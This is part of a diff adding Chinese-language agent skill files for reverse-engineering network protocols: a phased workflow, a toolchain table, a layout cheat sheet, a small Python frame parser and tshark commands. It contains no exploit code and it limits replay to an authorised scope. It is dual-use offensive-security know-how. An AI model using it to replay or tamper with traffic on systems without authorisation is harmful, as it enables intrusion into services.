|
31
|
+
| 仅 HTTP 参数签名 / JS 加密 | `js-reverse/` |
|
|
32
|
+
| 仅 TLS 证书问题 | `pentest-tools/` 或浏览器代理 |
|
|
33
|
+
| 固件内协议栈深挖 + 仿真 | `firmware-pentest/` 后再回本 skill |
|
|
34
|
+
|
|
35
|
+
## 工作流
|
|
36
|
+
|
|
37
|
+
### Phase 1 — 采集与分诊
|
|
38
|
+
|
|
39
|
+
```text
|
|
40
|
+
□ 拿到样本:PCAP / 代理导出 / 客户端日志 / 二进制
|
|
41
|
+
□ 标记方向:C→S / S→C;是否有握手、心跳、重连
|
|
42
|
+
□ 固定头?魔数?长度字段?TLV?定长?
|
|
43
|
+
□ 是否压缩(zlib/gzip/lz4)或加密(AES/ChaCha 帧内)
|
|
44
|
+
□ tshark -r cap.pcap -T fields -e frame.number -e ip.src -e tcp.payload
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
### Phase 2 — 帧布局还原
|
|
48
|
+
|
|
49
|
+
```text
|
|
50
|
+
□ 对齐多个同类消息,找不变字节 / 自增序列号
|
|
51
|
+
□ 长度字段:大端/小端、含头/不含头
|
|
52
|
+
□ 校验:CRC16/32、checksum、HMAC 位置
|
|
53
|
+
□ 画出状态机:Connect → Auth → Ready → Request/Response → Close
|
|
54
|
+
□ 工具:Wireshark 自定义 dissector 草稿 / ImHex / 010 Editor 模板 / Kaitai Struct
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### Phase 3 — 序列化与加密
|
|
58
|
+
|
|
59
|
+
```text
|
|
60
|
+
□ Protobuf:.proto 恢复(blackboxprotobuf / pbtk / protoc --decode_raw)
|
|
61
|
+
□ gRPC:HTTP/2 headers + protobuf body
|
|
62
|
+
□ 加密:找密钥派生(客户端 so/dll/JS)→ 联合 ida-reverse / js-reverse / apk-reverse
|
|
63
|
+
□ 重放:仅在授权 scope 内;先无害字段再敏感操作
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Phase 4 — 产物
|
|
67
|
+
|
|
68
|
+
```text
|
|
69
|
+
MUST 产出:
|
|
70
|
+
- 消息类型表(name / opcode / fields)
|
|
71
|
+
- 至少 1 条可复现的解码命令或脚本
|
|
72
|
+
- Evidence:原始 hex 摘录 + 解码结果(脱敏)
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
## 工具链
|
|
76
|
+
|
|
77
|
+
| 工具 | 必需 | 用途 | 自举 |
|
|
78
|
+
|------|------|------|------|
|
|
79
|
+
| tshark / Wireshark | 强烈建议 | PCAP 解析 | 手动 / winget |
|
|
80
|
+
| Python3 | 是 | 解码脚本 | 系统 |
|
|
81
|
+
| blackboxprotobuf | 可选 | 未知 protobuf | pip |
|
|
82
|
+
| ImHex / 010 | 可选 | 结构模板 | 手动 |
|
|
83
|
+
| IDA / r2 / Ghidra | 按需 | 客户端序列化函数 | 见对应 skill |
|
|
84
|
+
|
|
85
|
+
## 参考
|
|
86
|
+
|
|
87
|
+
- `references/protocol-workflow.md` — 帧布局与 Protobuf 速查
|
|
88
|
+
- 相关:`../ida-reverse/` `../js-reverse/` `../firmware-pentest/` `../pentest-tools/`
|
|
89
|
+
|
|
90
|
+
## 路由上下文
|
|
91
|
+
|
|
92
|
+
**上游**: `MASTER-ROUTING` R21 · `routing.md`
|
|
93
|
+
**下游**: 需客户端算法 → `ida-reverse`/`js-reverse`;需利用重放 → `pentest-tools`/`api-security`
|
|
94
|
+
**同级**: `malware-analysis`(C2 协议)、`digital-forensics`(流量取证)
|
|
95
|
+
|
|
96
|
+
## 任务完成自检
|
|
97
|
+
|
|
98
|
+
- [ ] 是否还原了消息布局或状态机(而非只贴 hex)?
|
|
99
|
+
- [ ] 是否有可复现解码命令?
|
|
100
|
+
- [ ] 是否遵守 scope / 脱敏?
|
|
101
|
+
- [ ] 是否回写 field-journal / 报告 Checklist?
|
|
102
|
+
|
|
103
|
+
## Limitations
|
|
104
|
+
|
|
105
|
+
- Encrypted or session-keyed protocols need key material first.
|
|
106
|
+
- Stateful protocols may require long, varied capture sessions.
|
|
107
|
+
|
|
108
|
+
> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
# Protocol reverse 速查
|
|
2
|
+
|
|
3
|
+
> 适用:`protocol-reverse` skill · 2026-07-18
|
|
4
|
+
|
|
5
|
+
## 常见布局模式
|
|
6
|
+
|
|
7
|
+
| 模式 | 特征 | 提示 |
|
|
8
|
+
|------|------|------|
|
|
9
|
+
| 定长头+体 | 前 2/4 字节长度 | 注意是否包含头长 |
|
|
10
|
+
| 魔数 | 固定 `0xDEAD` 等 | 便于流再同步 |
|
|
11
|
+
| TLV | type-length-value 重复 | type 枚举即消息字典 |
|
|
12
|
+
| Protobuf | 字段号 varint | `protoc --decode_raw` |
|
|
13
|
+
| 加密帧 | 熵高、无明文 URL | 先找 nonce/IV 邻域 |
|
|
14
|
+
|
|
15
|
+
## 最小 Python 骨架
|
|
16
|
+
|
|
17
|
+
```python
|
|
18
|
+
import struct
|
|
19
|
+
def parse_frame(buf: bytes):
|
|
20
|
+
magic, length, msg_type = struct.unpack_from(">IHI", buf, 0)
|
|
21
|
+
body = buf[10:10+length]
|
|
22
|
+
return {"magic": magic, "type": msg_type, "body": body}
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## PCAP 提取 TCP payload
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
tshark -r cap.pcap -Y "tcp.port==4433" -T fields -e tcp.payload | head
|
|
29
|
+
```
|